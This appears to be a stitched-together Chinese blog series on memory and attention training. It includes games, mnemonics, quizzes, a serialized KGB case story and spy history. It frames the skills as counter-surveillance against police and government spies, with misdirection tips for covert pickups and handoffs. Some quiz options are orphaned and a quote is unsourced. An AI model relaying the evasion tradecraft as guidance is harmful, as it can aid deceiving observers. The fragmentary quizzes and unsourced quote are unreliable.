从你的舒尔特表练习开始。最初可能会感觉很难，但不要放弃继续这样做，不断打破排序模式，反复这样做，就能看到成效。

这项技能能帮助你完成一系列任务，从观察、到迅速识别风险、到速读、到速记，无所不包。

以下面这个表格为例，目标是，完成数字 1 ~ 25 的顺序所花费的时间

最终减少到12秒，或者更短。

「图」

「图」

你的微信添加了多少群组？不，不需要告诉我。我是想说，如果你加了比较多的群组，就会发现，在每次打开它的时候系统会有一个加载延时，大概半秒钟到2秒钟不等。也就是说，你第一眼看到的屏幕很可能不是此时此刻的画面。

你可以通过每个群组右侧显示的时间注意到这点。其实这也是个练习的好方法 —— 你能在它加载完成之前记住某一个固定群组的 “最后一条内容”吗？也就是无需点开即可看到的部分/全部文字。你能记得那条内容是谁发布的吗？时间显示的是什么？

然后把目标扩展到多个群组，然后更多。

转移他人注意力的技巧

如上所述，如果能掌握自己的注意力，你就能调试自己的记忆和反应速度；相反，如果你能控制对手的注意力，你就能操纵他们以满足你的目的。

任何高产的人都能控制自己的注意力，当然，我们也有办法控制他人的注意力，从而控制和迷惑你的对手。

注意力就如黑暗中的聚光灯，人们只能看到被它照亮的那个部分 —— 于是，只要你能控制那盏灯，就能操纵你的对手看不到真正关键的部分。

通过重新引导对方的注意力，可以向他们展示你希望他们看到的东西，从而绕避你不希望他们看到的东西。

在社交媒体时代这点几乎不需要更多解释了，因为这就是监视资本家最擅长的游戏。

“只有我们牢牢抓住他们的注意力时，我们才有希望去征服他们的心和灵魂“—— 这是谷歌前 CEO Eric Emerson Schmidt 的名言。

- 更多详见这里《最完美的绑架》

这种手段可以为任何人所用，比如魔术师，他们最娴熟于此。如果您的目的是在正义的行动中保护自己，那么你就要实现操控你的对手的注意力。（中文有 “声东击西” 这个词，我很喜欢）

情报和反情报的对峙也是如此。情报人员经常要在反情报部门的监视下工作，但他们能表现得泰然自若，几乎和平时无异。

有可能遭遇警察随机搜查的人需要的正是这种能力 —— 泰然自若；如果你的重要文件已经被使用隐写术埋在了猫咪照片里，那么你的脸上就必须能表现出 “那是一张猫咪照片，你随便看吧” 。

关于隐写术在下面回顾：

- 《隐写术的小心机（1）》
- 《使用隐写术发送秘密消息（2）简易教程》

此外：

- 《如何保持 Android 设备免受警察的侵害》
- 《如何通过一些设置预防iPhone被盗或被警方查抄所造成的损失？》

另一个不错的技巧是适时地延长隐秘动作。将其扩展为几个阶段，确保每个阶段看起来完全无碍 —— 这里讲的是现实中的反追踪反监视问题。

其实做到这点很简单。比如，如何在不引起他人注意的情况下捡起一件东西？你可以在那件东西周围停下，打开你的包，假装把一只手套掉了出来，弯下身去捡，然后另一只手套又掉了 …… 如果监视者正盯着你看，他很可能只会看到一个笨手笨脚的人，而没有注意到你已经捡起来那个重要的东西。

再比如，如何在咖啡馆那样的公共场合安全地转交一个笔记本给队友？

类似的情况还有很多，其逻辑是一样的，那就是：首先扩大你的对手的视觉范围，然后牵制其注意力在无关紧要的东西上，从而绕开你需要保护的东西。

就如捡东西的例子。如果你要捡起的是一个USB拇指驱动器，你的手套、钥匙、手帕，等等都是在扩大监视者的视觉范围，从而牵制他们的注意力远离那个USB。如果你假装正在打电话，而且提着一大堆包

装袋，整个效果会更自然。

魔术事实上和魔性没有什么关系，它的根本在于对观众注意力的操纵。其实谷歌前CEO说的没错：能做到控制对手的注意力，就能做到控制他们的心和灵魂。

⚠快速回答：

在那个 5×5 舒尔特表中，数字“8”位于哪个位置？

- 2行3列
- 3行4列
- 4行3列
- 5行4列

工作记忆

在上一篇文章中我们介绍了感觉记忆、短期记忆、和长期记忆。其实还有一种被称为 “工作记忆” 的特殊类别。它用于储存数据以便立刻处理。

工作记忆与其他记忆的主要区别在于，工作记忆与智力水平密切相关。

显然，如果一个人能够在工作记忆中储存更多的数据，那么他就会更擅长注意外部关系，以及形成新的认知，这就是智力测试所关注的能力。

此外，工作记忆容量也和注意力有关，一个人的工作记忆容量越大，他能够同时关注的对象就越多。

一般人的工作记忆容量在5～9个单位之间。工作记忆容量小的人在控制注意力和组织行为等方面会遇到更多困难。

不要着急，它可以通过训练获得提升。

想确定自己的工作记忆容量是多少吗？做一个小测试即可。

请注意下面列表中的数字，并把他们写在一张纸上。不要将这些数字每两个或三个一组记忆。举个例子，将1234表示为 “1–2–3–4”，而不是 “12–34”。当你记到列表末尾时，计算一下自己正确记录的最后一个数的位数，那就是你的工作记录容量。

「图」

「图」

练习方法

找一副扑克牌。从任意两个花色中依次数出6张对应的牌，比如 红桃 A、2、3、4、5、6，和梅花 A、2、3、4、5、6。把牌的顺序打乱，然后将它们以四排三列的布局放在桌子上，保持排面朝下。

开始用秒表计时⏳。

每次你可以翻开任意两张牌，如果牌面上的数字相同，就让牌面朝上，如果不相同，就再把它们朝下翻过去。

你的任务就是尽快找到所有数字匹配的牌。越快越好。

因为，如果你能记住牌面朝下的牌，就能更快地完成任务。

把这些牌面朝下的牌想象成已经翻转过来被你看到的数字的样子。除非你找到了与之匹配的牌，否则尽可能限制自己不要随意把某张牌再次翻开。这很重要。

这个练习旨在培养你的工作记忆力和专注力，加速感知过程。当你学会相信自己的直觉并增强工作记忆之后，就不需要再反复核查已经看过的牌了。

工作记忆的能力在日常生活中很重要。

- 如果你发现有车子跟踪你，在甩掉它之前迅速记住那辆车子的外观和车牌会很有帮助；
- 如果你的队友快要被捕了，在最后的关键时刻他耳语你一个账户和密码，那里面保存着关键证据，你能够迅速记住它们吗？
- 如果政府间谍与你侧肩而过，你迅速认出他们吗？……

这些都是行动力的关键部分。你的对手很狡猾，而且资金雄厚人手充足，这些你都没有，你能做到的做好的事就是从个人能力方面胜过他们。庞大笨重的大象可能玩不过一只灵巧的猴子。

💭这一训练还能帮助你在现实中应对很多嘈杂和复杂的状况，迅速抓取并记住最重要的事物、更快地了解对方、更准确地评估和预测面临的各种状况。你会发现自己越来越擅长与各种人攀谈，因为你能迅速

掌握对方的心理模式；并且能比其他人更快地学到东西。

随意在一个陌生的城市里逛一小时，同伴一起，回来后你和同伴可以互相测试，互相提问：面包店的标志是什么颜色的？书店的门上贴着的那张告示上的主要内容是什么？餐馆的桌布上是什么图案？老板娘带了一副耳环，它是什么形状的？……

你们彼此都不知道对方即将提问什么，于是在整个逛街过程中你们都需要努力地观察和妥善地记忆。这是极好的训练。

⚠快速回答：

关于那副扑克牌，我举例的两种花色是什么？不要向前翻看！

- 黑桃和方块
- 红桃和黑桃
- 方块和梅花
- 红桃和梅花

逛街是个好主意，因为街道上包含无数细节，其中隐藏着最关键的东西 —— 如果你想要在最需要的情况下及时想起它们来，你就需要随时的记忆。这是一个能力训练。

我们将在下一次的文章中具体介绍训练观察能力和记忆力结合的方法。希望您已经答对了上面两个问题。〇

—— 未完待续 ——

广告

原文

不是集中而是"分散"注意力才更有效：塑造超强记忆力的方法（3） - iYouPort

超强记忆力（完成）

注意测试题目哦！它们会随机出现。这次你能比上两次做得更好吗？

「图」

「图」

您还记得本系列此前的内容吗？如果还没有读过，在下面看到：

- 《手表上故事：通过练习和游戏塑造超强记忆力的方法（1）》
- 《操控注意力的小技巧：塑造超强记忆的方法（2）》

建议按照顺序阅读，因为这是一套强度不断递增的练习。

在上一篇中我们介绍了“走神”—— 关于那块手表的小练习，有趣吗？

从小到大老师和家长都在敲你的脑袋大喊着“集中注意力”！他们只是想让你注意到他们说的话，但是完全集中注意力并无助于您在现实中应对突发局面。

当您的注意力集中在一个项目和事件上时，很可能会错过更重要的事；想象您正在街上注意一位超短裙美女，您太专注了以至于没有看到一辆制动失灵的大卡车正呼啸而来……哎呀。

这是个玩笑。但是，在反侦察过程中恰恰会经常出现美女和大卡车的情况。

如您所知，现实中的间谍行动和社交工程攻击往往分组运作，最基本的是两人一组，其中一人负责操纵目标人的注意力，另一个人负责进攻。前者就是美女，后者就是大卡车。他们更多会选择嘈杂的环境，

以进一步扰乱你的观察。

而反侦察必备的技能之一就是：无重点观察。

⚠无重点观察就是它字面上的意思 —— 你必须能看到整个全局画面，而不是集中在任何一个细节上；不必担心错过东西，您的安防意识会带来敏锐的洞察力，以从中识别风险。

在前文关于操纵对手的注意力的分析中，我们将注意力比作聚光灯；而无重点观察就如漫射的日光，您必须有足够大的覆盖面才能让操纵者难以隐形。

练习

尝试在不设定任何目标的情况下观察某个事物。

举个例子。你坐在咖啡厅等人。你可以留心观察周边的环境，但不要专注于任何具体的事物。如果你看到有趣的东西，就记住它，但是不要因此缩小你的视野。

继续观察周边环境，不要评论，不要赞美 —— 若无其事地看，就像在你和周围所有正在发生的事之间，隔着一个厚厚的玻璃墙。请找到那个感觉。

游击战

游击战是非正规作战，几乎和人类文明一样悠久，但直到美索不达米亚和古埃及才有实据。

游击战是在敌强我弱的情况下采取的方法。敌方强大到我方不能用其它正规战法与之相对抗、或用正规战法我方损失太大，大到无以为继，这种情况下就只能用游击战与之对抗。

正因为敌方强大，具有大型部队，所以游击战多是在弱方的国土上进行，也因弱方熟悉该区的地形。

游击战虽然不足以击垮传统部队，却可以制造军事上的僵局，而这种僵局最终又会导致政治解决。

几乎在所有的例子里，在以政治方式解决时，总是传统部队那一方吃亏。

游击战因兵力少而火力弱，很难独立定点进行长时间作战，必须有当地民众提供物资、情报等资源，并积极创造条件，利用天时加地形并搭配陷阱，以机动力及隐蔽性主动出击，遭遇强大敌人时化整为零，消耗敌人战力、拖延敌人行动、误导敌人方向，在敌人心理上制造极大压力，才可能取胜。

独立战争期间，“一分钟人”（Minutemen，又作瞬息民兵）在北美享有盛誉，它指的是反抗英军、追求自治的武装村民，他们出则为兵，入则为民，因为他们行动特别迅速，只要一听到警报，在一分钟内就能集合起来，立即投入战斗，在整个战争期间四处袭扰英军，让英国人吃了不少苦头。

越南战争中，越共成员先用游击战的型态攻击法国在越南的殖民地，获得了明显的成果；在美军大规模介入之后，由于不熟识越南环境和越共军队的游击战战略，造成了伤亡。

游戏 —— 等级1

这是个经典的游戏，已经流行了半个世纪之久，用来训练飞行员和情报人员的视觉记忆。

其实很简单，你只需要准备一盒火柴和一块手帕。

就像下面这样，取三根火柴随机散落在桌面上，你需要记住这些火柴的位置。4秒钟后立刻打乱它，将你手中的火柴创新摆放成原来的造型。

「图」

「图」

⚠这个久经考验的老办法真的可以更好地训练你的能力 —— 如果你能做到快速记住火柴摆放的位置，就能做到快速记住一张地图和一幅画，作出口头描述，或者快速发现有人正在跟踪你。

从三根火柴开始，之后你就可以逐渐增加火柴的数量，直到像下面这样，你也能迅速记住它们的位置，并准确复制出来。

「图」

「图」

希望您能喜欢这个小游戏，因为它真的可以很有效。只需要在口袋里放一盒火柴，在无聊的时候玩它，很快你就能出神入化。为什么要把自己的宝贵精力送给抖音微信那种无聊的东西呢？

丢失的秘密文件

1955年 3月 2日，莫斯科第 32警察局接到了一份关于 Simon Yakovlevich Bernstein 失踪的报告。

Bernstein 生于1897年，是苏联科学院（ Academy of Sciences of USSR）档案馆员工。

自 2月 21日以来，Bernstein 都未去过档案馆，但由于其此前因病频繁请假，且其公寓内未安装电话，因此失踪一周后才被人发现。

2月28日和3月1日，同事试图去他家探望，但两次都无人应答。

3月2日，向上级报告其失踪后，在辖区警官 A. P. Vasiliev 中尉的监督下，Bernstein 的房间（高尔基大街 22号第 15公寓）被打开。房间内空无一人。

根据初步调查，Bernstein 的私人物品均未丢失。公寓内无任何挣扎迹象。

当天便启动了一项调查，对象是莫斯科地区所有被送入医院、急诊室和停尸房的人。

但无人与 Bernstein 的体貌特征相符。

由于 Bernstein 负责保管国家机密文件，组织对其部门所存档案进行了清点。结果发现，部分标记为“绝密”的文件丢失。

失踪文件于 1945年 5月从帝国中央保安局（ Reich Main Security Office， RSHA）档案中检获，属于由党卫军中将 Gruppenf ü hrer Ernst Turowski 领导的帝国中央保安局第三局所有。

这些文件中包含了德国心理学家和医生在控制群体的暗示技巧（催眠术）领域进行的理论和实验研究的成果。

大部分研究成果都由德国心理学研究与心理治疗学会（ German Institute for Psychological Research and Psychotherapy）提供，其又被称为“戈林学会”。

在战争期间，该学会由 Matthias Heinrich G ö ring 领导，后者是陆军元帅 Hermann G ö ring 的堂兄。

学会副主任 Johann Heinrich Schultz 的研究最引人关注。

Schultz 创造了一个著名的基于自我催眠的自生训练系统。在健康受试者和人格障碍受试者身上，均已证实自生训练的长期有效性和安全性。

本次调查已经移交给第二总局第九处首席指挥官 I. O.米洛夫斯拉夫斯基少校。

追踪以下调查线索：Bernstein 偷走机密文件并逃走。因此，本次调查必须确认：#伯恩斯坦目前的下落；

1. 美军

- 日军
- 英军
- 共军
- 俄军

1. 《侦查和欺骗：这里是社交工程攻击必备的技术工具》
2. 5秒

- 10秒
- 15秒
- 20秒
- 30秒

提高想象力

想象力可能是大脑最具创造性的功能了。

借助想象力，人们不仅可以*看到*内容，还可以创造出全新的图像。

可以在想象力中改变物体的大小、移动它们、旋转它们、添加新的元素、删除旧的元素 ……

当你开始想象新东西的时候，使用的就是想象力：发明家进行的创造、导演制作的电影、作家写的书、艺术家画的画，都是如此。

创造性的想象力是增强记忆力的绝佳途径。如前所述，图像比文本更容易记忆，为了记住你读过的东西，你需要在自己的想象世界中 **看到** 它们。

练习

花半个小时的时间，蒙上眼睛，在家里四处走动。尝试在不睁开眼睛的情况下，洗脸、刷牙、穿衣服、做早餐…… 放点音乐，坐在你喜欢的椅子上。

练习

想象一根粉笔和一块书写板，就是你在学校和书店促销中看到的那种。想象一下板子的质地、颜色、结构、以及它挂在墙上的方式。

也许它是黑色的、哑光、表面粗糙，可以用粉笔书写；也或者是白色的，表面光滑，用马克笔书写。

现在，想象它的颜色变为棕色、橙色、蓝色，感受每一种颜色，在脑海里书写板完全匹配你想要的任何颜色。

当你掌握了改变书写板颜色的技巧后，就可以在上面写下任何文字。仔细看看，字是如何写上去的？是什么颜色？线条的质感如何？在脑海里用板擦抹掉上面的字，然后再写一个。

花点时间在心里观察这个书写板上面的字。

回到这个练习中。继续增加字的数量，你可以写词组、数字、清单、可视化图表 …… 尽可能清楚地想象出任何东西。

这样的练习对于任何需要思考才能完成的工作来说都非常有效。比如情报分析、科研、调查、梳理复杂的逻辑 **……**

当你在一个无法解决的问题上卡壳时，停下来，在脑子里挂起那块书写板，在上面写下问题，再擦除。它还会弹出来吗？擦掉它！又弹出来了？继续擦掉！几次之后大脑就会转换路线，开辟一个新的思路出来。

测试！快速回答：

伯恩斯坦的案件为什么被反间谍部门直接接手？

A：伯恩斯坦在公务员系统中身居高位；

B：伯恩斯坦保管着包含机密文件的失踪文件；

C：伯恩斯坦是一名克格勃特工；

D：警方无法找到伯恩斯坦；

游戏 —— 填字（4×4）

这个练习旨在训练想象力和视觉记忆力。

只要你身边有填字游戏的废报纸就可以开始练习。

「图」

「图」

在填字游戏的四个角各画一个由4行4列方格组成的正方形。盯着其中一个角，只关注黑白方格的布局。

4～5秒后，把报纸翻过去，在另一张纸上画出黑白方格组成的图案。

如果你的大脑能够“拍摄”这个矩阵照片，然后用它来填写单元格，这个练习就会变得非常容易。如果不能“拍摄”全景，可以将黑色方格组合成几何图形来记忆。

空间推理技巧非常重要，在思考中你遇到的假设、理论和方案经常具有复杂的结构，因此，以图表的形式绘制并熟练地使用它们的能力，有助于将复杂任务相关的所有信息存放在正确的框架中。

您答对了今天的测试题吗？

别忘了那盒火柴和骰子。

你一定有经常去的地方对吧，比如咖啡馆、书店、音乐厅。坐在家里回想这些地方的布局，墙壁、天花板、地板、装饰 …… 家具是如何摆放的？桌上和架子上有什么物品？想象自己坐在最常坐的位置上看上述一切，然后继续更换自己的位置，从一个新鲜的角度创新观察上述的一切。

所有动作都在想象力的空间中完成。试试看，看自己能“观察”到什

么？〇

—— 未完待续 ——

广告

原文

如何找回失去的记忆？- 塑造超强记忆力的方法（4） - iYouPort

超强记忆力（完成）

在反侦查过程中，你的记忆力而不是其他能力，才是救命稻草

「图」

「图」

您还记得本系列此前的内容吗？如果还没有读过，在下面看到：

- 《手表上故事：通过练习和游戏塑造超强记忆力的方法（1）》
- 《操控注意力的小技巧：塑造超强记忆的方法（2）》
- 《不是集中而是”分散”注意力才更有效：塑造超强记忆力的方法（3）》

如您所知，本系列内容并不仅仅是为了帮您背单词的；尤其强调它在反侦察、反追踪和社交工程过招中的作用。

当然，记忆能力在几乎任何目的上都是杰出的优势；而忘记似乎才是人类最擅长的。

尤其是，有些时候你不是真的忘了，但就是想不起来 —— 这种情况有时会发生在经历过戏剧性冲突的场面之后。这类事件会令人震惊到只能记住其中一个微小细节，而忘记了其他所有内容。

间谍经常采取这类社交工程方法，使用混乱的背景环境掩盖其真实目的。想象这样的场面对比：同样是偷手机，在拥挤的地铁站里、比在寂静的书店里更容易，对吧。

这种情况在很多地方发生，尤其是突发事件，比如持枪抢劫。记者们都有这样的经验：目击者只能记得现场出现的武器或对方穿的衣服，却怎么都想不起对方的脸和车牌号。

也就是重要的内容全没记住。

而作为调查者，您的目标就是帮助对方想起来他们所看到和听到的一切。

反之，如果您本人就是目击者，您可以自己使用同样的方法做到帮助回忆。

对此，最有效的方法就是说，让目击者“回到”所经历的情境中。您可以采取以下这些方法：

1、在轻松的气氛中与目击者见面，让他们感觉愉快放松，让他们闭上眼睛，在问题的引导下沉浸在想象里。

2、目击者应该能尽可能多地回忆起事件的详细情况。

可以从最基本的基础信息开始。这一事件是在哪发生的？什么情况下发生的？事发地点是什么样的？当时的天气是冷是热？

然后过渡到细节。当时你能听到哪些声音？它闻起来像什么？味道是从哪里来的？此前发生过什么？你是如何来到这个地方的？...

类似手表游戏的回溯方法。背景可能更容易唤醒对主题的记忆。

3、再现环境后可以开始逐步走向事物的本身。

到底发生了什么事？目击者对此有何反应？有什么感受和想法？随后又发生了什么？.....逐渐的一步步的，你会得到需要的信息。

☞要想让这种方法奏效，最重要的是把目击者的记忆集中在恢复其感受和经验上，而不是关注事物本身。

☞记住，要将五官的感觉全用上 —— 视觉、听觉、嗅觉、触觉、味觉。

不论你想回忆任何重要的事，都可以这样做 —— 在想象中回到当时的状态，去回忆你当时的感受和情绪，那件重要的事就更容易浮现出来。

通过重现来回忆并不一定仅仅依靠想象力。如果可能的话，重返事件发生的地点（最好是在一天中的同一时间），并尝试在那里回忆，也是有道理的。

「图」

「图」

练习

你可以在家中使用遗失物品的实例来训练自己的回忆能力。

回想一下你最后一次拿着那个东西的时候，你在做什么？你是怎么使用它的？谁和你一同在家？你在和谁说话？此前发生了什么？你的心情如何？之前你是如何使用这个丢失的物品的？之后又发生了什么？你拿着它去了哪些地方？

检查你使用这个遗失物品的地点，以及之后所去过的其他地方。如果成功重现了当时的情境，你就能找到失踪的物品。这比你把整个房子翻个底朝天要快得多。

环境和记忆

回忆往往与它们所处的环境有关。

当你回到曾经待过很多年的教室时，更容易回想起有关学校的事，在办公室工作则没有这种效果。环境、感受、声音和气味，都可以帮助你从回忆中提取过往的联系。

这不仅仅是一个有趣的事实。你有没有在考试中想不起答案、却在回家之后立即想起来了？

造成这种情况的原因之一，可能是错误组织的记忆过程。对于穿着睡衣、抱着饮料、坐在床上复习的学生来说，参加考试的最佳方式就是：穿着睡衣、抱着饮料、坐在床上。

但这显然是不可能的。所以最好还是说坐在桌前复习，并试着集中精力就像在考场上那样。

学习的环境必须和回忆知识的环境相匹配。☞在为任何任务作准备时，请务必记住这点。

练习

训练情境记忆（也就是对事件的记忆力），回忆刚刚过去的事物很有

用。

今天发生了什么？你是怎样醒来的？你的心情如何？你梦见了什么？

试着记住你之前所在的地方。你之前在做什么？你和谁见过面？他们穿着什么样的衣服？你们说了些什么？与他们交谈时你感觉如何？你给谁打了电话？为什么要打那个电话？你吃了什么东西？听到了什么声音？你这一整天都花了多少钱？……

改变回忆的顺序：在某一天，按从早到晚的顺序记住所有发生的事；而在另一天，颠倒这一记忆顺序。

试着先回顾一天，然后是两天，继续是三天，甚至一周。尽可能记住一周前的那天所发生的事。

如果每天都进行这项练习，你就能在几个小时内准确记住所选时间段内发生的事。

⚠在侦查和反侦察过程中，这是一项非常宝贵的技能。

「图」

「图」

测试！快速回答 ——

对失踪机密文件的调查旨在确定什么？（多选）

A：Bernstein 目前的行踪；

B：被盗的文件内容；

C：Bernstein 可能的动机；

D：盗窃文件事件发生的背景；

E：文件当前的下落。

摩萨德

1949年7月，以色列总理戴维·本-古里安好友鲁文·希洛阿建议成立一个专门组织来协调情报和国家安全，并在1949年12月13日获批成

立，当时名为中央协调局。

1951年3月，中央协调局重组并更名为摩萨德，并直接向总理汇报。

摩萨德的架构十分神秘，早期的局长都是由总理空降而非内部晋升，成立初期最主要的工作是把身在阿拉伯地区的犹太人带回以色列。

1952年，局长鲁文·希洛阿辞职，艾瑟·哈瑞尔担任局长，艾瑟·哈瑞尔绰号为“矮子艾瑟”，是摩萨德史上任期最长的局长。

艾瑟·哈瑞尔在任期间的重要功绩包括：在1956年4月偷到赫鲁晓夫的秘密演讲稿，1960年5月在阿根廷绑架阿道夫·艾希曼回以色列。

艾瑟·哈瑞尔因与戴维·本-古里安发生冲突而在1963年辞职，由梅尔·阿密特继任，而总理戴维·本-古里安在数星期后辞职。

梅尔·阿密特担任局长期间，受到前局长艾瑟·哈瑞尔的攻击，其能力亦受到下属的质疑。他在任5年期间，促使以色列与摩洛哥建立友好关系，成功偷到苏联米格-21，在乌拉圭暗杀了二战期间在拉脱维亚的里加的屠杀了大量犹太人的赫柏茨·希库尔斯。

1968年，兹维·扎米尔成为新任局长，在他任期内成功偷走幻象5型战斗机设计图，成为了国产的鹰式战斗机。

1969年，法国总统夏尔·戴高乐下令禁止以色列在法国建造的导弹快艇驶往以色列，摩萨德成功偷走了五架导弹快艇。

1972年，慕尼黑惨案发生，摩萨德展开了天谴行动等一连串报复，把涉嫌杀害以色列运动员的有关人物全部刺杀，然而1973年在挪威杀错了人，使整个计划曝光，摩萨德的声望一路下跌。

2010年，摩萨德特工在迪拜一所酒店暗杀了哈玛斯领导人马哈茂德·马巴胡赫，全程都被闭路电视录下了。

两大原则

助记方法是帮助你增强记忆力以记住事实和大量信息的工具。

助记方法有很多种，但它们都遵循两个原则。

1、运用事物间的联系

联系性是心理的基本特征。大脑是一台在不同图像和概念之间建立联系的完美机器。记忆包含一个漫长而复杂的关系链。

只要想起圣诞节，你立即就会想起圣诞树、礼物、好吃的东西；一个孩子会想起长袜子和圣诞老人的梦；大人会想起买礼物要花多少钱，更虔诚的信徒会想起福音故事。

☞你已经知道，拥有出色记忆力的秘诀并不在于记住信息，而是在于提取信息 —— 如果你想记住的东西与已知信息有关联，那么记忆就会变得更加容易。

因此，助记方法的第一原则是：在记住一些东西时，将它与你熟悉的事情联系起来，以便日后可以轻松地回想。

2、情绪态度

人们喜欢节省精力，不喜欢做额外的工作；大脑会根据相关情绪的强弱给这些任务进行优先级排序。

比如，食肉动物代表直接的威胁，同时会引起恐惧 —— 你要么与之对抗、要么逃离。极度的干渴会引起担忧，并迫使你去找水。腐烂食物的气味会引发厌恶感，从而防止可能出现中毒现象……与强烈情绪相关的事件使人学会了避开食肉动物的踪迹、记住通往水源的路、并避免吃变质的食物。

情绪能激活记忆。

如果你要求一个普通人回忆几年前发生的事，他很可能会记住自己生命中的里程碑事件：孩子出生、与终身伴侣相会或别离、搬家、换工作、或者一场令人兴奋的旅行。所有这些事都会引发强烈的情绪，这就是为什么它们如此令人难忘。

一般来说，其余的事会被当作普通的、不值得关注的内容，而从记忆中被清除。换句话说，你只会记住自己真正关心的东西。

☞从心底激励自己的情绪，你就能掌控记忆能力。

关于 Bernstein 的人际关系

（根据录音带记录）档案管理员的工作让 Bernstein 有机会与莫斯科国立大学著名的科学家们进行交流。

包括 A. N.列昂季耶夫、 A. R.卢里亚和 B. M.捷普洛夫（ B. M. Teplov）在内的很多人，都就自己的专著、文章和论文的素材咨询过他。

同时，他的交往圈子仅限于有工作关系的人。

他没有自己的家庭：妻子在战争前就离开了他，儿子在列宁格勒前线遇难。

不知为何，他所有的联系人都与心理学有关。Bernstein 几乎不和邻居沟通。他没有亲密的朋友，唯一的例外是 V. M.科瓦廖夫。

瓦西里·米哈伊洛维奇·科瓦廖夫（ Vasily Mikhailovich Kovalev）于1930年出生于列宁格勒，是一位心理学家，毕业于莫斯科国立大学。目前，他是一名在读研究生，正在撰写有关群体心理学的论文。

科瓦廖夫与 Bernstein 有着密切的关系。Bernstein 类似于他的导师，帮助他处理各种困难状况，不仅限于与研究有关的问题。

科瓦廖夫在进入研究生院时，伯恩斯坦曾帮他获得了一间宿舍。他们定期会面，一谈就是好几个小时。两人一边喝茶，一边讨论各类话题。

科瓦廖夫长得酷似 Bernstein 在前线阵亡的儿子。这也许可以解释 Bernstein 对他如父亲对儿子般的态度。

形成联系

不同的人用于记忆事件的联系可能各不相同。

1、外观、功能、拼写或声音相似。

比如数字8与一个丰满的女人、竖着的眼镜、无限符号相似；飞行中的飞机类似鸟、风筝、降落伞；西班牙语单词 la bandera（意为“旗帜”）本身就包含了你熟悉的英文单词 “band”（带、条），你会注意到，中世纪的旗帜通常是由一条织物组成的。

2、对比。

光明—黑暗、咸—甜、男性—女性……

3、因果。

云带来雨、火带来热、香蕉皮可能滑倒你。

4、时空融合。

历史证实了联系对于记忆力的重要性。许多古代著作都是以韵文形式创作的。韵律、韵脚、统一和重复 —— 词语之间的这些联系帮助人类祖先记住了那些伟大的文字。

记忆力的提高有一个规律：你知道的越多，就越容易记住。

☞拥有庞大的知识体系的人更容易将新的资料与已知的信息联系起来。

练习

快速选择关联物、并将各类事物联系在一起的能力，是所有助记方法中的重点部分。你可以通过定期练习来开发这项技能。

尝试将你看到的两个不同物体联系起来。

「图」

「图」

游戏 —— 词语配对（等级**1**）

通过游戏学习在词语之间建立联系。这个游戏非常重要。

以下是几组词语，你需要记住它们。

将每组的两个词语关联起来。选择图像来记住这些联系。然后闭上眼睛，给自己60秒的时间用于记忆。

时间结束之后，大声说出每一组配对词语。看看你能记住多少？

- 西瓜/蝙蝠 直升机/连衣裙
- 树/电话 鲜花/水坑
- 相机/硬币 枕头/胡萝卜
- 卡车/泰迪熊 磁铁/画笔
- 钥匙/ 餐叉 煤渣块/椅子

回顾案件 #283：审问

根据对科瓦廖夫的进一步监视，出于谨慎考虑，没有在克格勃总部对其进行审问。

为了获得有关 Bernstein 失踪的信息，第二总局在莫斯科国立大学宿舍楼科瓦廖夫的房间里对其进行了审问。

科瓦廖夫并未听说 RSHA文件遗失的事情。在问话过程中，科瓦廖夫表现得很紧张。

回答问题时，他表现得不情愿，且回答比较简短。

他否认与 Bernstein 之间的友谊，声称两人只是在简短的咨询过程中交流过论文。并称他最后一次看到 Bernstein 是很久之前的事了，可能是几周以前，记不清具体时间了。

第二总局未对科瓦廖夫的房间进行搜查，但其外观与其他学生的房间明显不同。具体来说，科瓦廖夫有一台昂贵的留声机和许多唱片。

当被问到这些物品的来源时，科瓦廖夫表示他用父母给他用于毕业事宜的钱，在一家旧货店里购买了它们。

游戏—词语配对（等级2）

进一步练习建立联系的技能。

下方这个配对列表更长、更棘手 —— 试着把它们都记住吧。如果您仍觉得太难，那就把它分为两部分分别记忆。

- 指挥官/斑马 鱼缸/食谱
- 剪刀/石灰 网球拍/防晒霜
- 海绵/锤子 苹果/锁骨
- 恐龙/花生酱 信用卡/巧克力
- 擀面杖/螺丝刀 牙签/茶壶
- 盐瓶/剑 光盘/苏打水
- 牛排刀/领结 橡皮筋/松果
- 香水/马提尼酒杯

⚒要记得原则哦：你编写的故事越鲜活，记忆就越深刻。

日常练习

记住你所居住的地方的地形。如果城里有地铁的话，记住地铁线路图。

每条线路都是一个车站列表 —— 确保你能从任意顺序复述这些车站的名称。记住所有线路。

随着时间的推移，你可以从记忆中调取这些路线信息用于导航。

同样的道理，你可以记住街道、公交车站等地点的顺序。⚠千万不要使用卫星导航。当你要摆脱他的监视或使用掩护身份时，这些信息会大有用处。

在追讨过程中您必需使用这一记忆能力。回顾我们的“完美隐身”系列内容：

- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》
- 《如何做到完美隐身：技术增值部分—最简单的分身方法（4）》
- 《如何做到完美隐身：清扫和清点—信息篡改的重要步骤（5）》
- 《如何做到完美隐身：令人兴奋的心理过招（6）》
- 《如何做到完美隐身：扫荡危险区域（7）》

测试！—— 快速回答：

为什么一直避免任何亲密关系的伯恩斯坦会与研究生科瓦廖夫成为亲密朋友？

A：科瓦廖夫是伯恩斯坦死去的儿子的朋友

B：科瓦廖夫让伯恩斯坦想起了自己的儿子

C：科瓦廖夫在伯恩斯坦的帮助下获得了一间宿舍

D：伯恩斯坦对群体心理学感兴趣，而科瓦廖夫是这方面的专家

练习 —— 词语配对（第3级）

打开一本书的任何一页，记住每一行的第一个词语。

使用词语配对的方法记住这些词，合上书，标记好刚才的页面。复述这些词语，并进行自我检查。

你也可以用报纸和文章来进行同样的测试。

记住外语单词

流利地、不带口音地说出任何一门语言，是一门技术问题。

在学习语言的初始阶段，人们往往需要记住一对词语，一个是自己的母语，另一个是对应的外语。您可以使用以下技巧：

1、母语中的已知单词用图像编码 —— 您已经从故事法则中了解到这一技巧了；

2、对应的外语单词通过语音相似性进行编码，这样更简单；

在母语中选择一个或多个词语，确保它们在发音上与外语单词相似；

3、在一个故事中，将母语单词的图像和与外语单词发音相似的单词的图像进行绑定。

例如，你需要记住法语单词 grognon（脾气暴躁的意思，对应英语是 grumpy ）；而它与 “groan”（呻吟）这个词的发音一致；所以为了记住这对词语 “grognon—grumpy”，你可以想象一个脾气暴躁的男人在恼怒中呻吟。

☞这些故事需要您自己来创建，这样才能印象更加深刻。通过练习您很快就会擅长创建这些故事了。再一次训练中至少记住50 ~ 60个外语单词。

测试！—— 快速回答：

偷走苏联米格-21战斗机是在谁的治下？

- 艾瑟·哈瑞尔
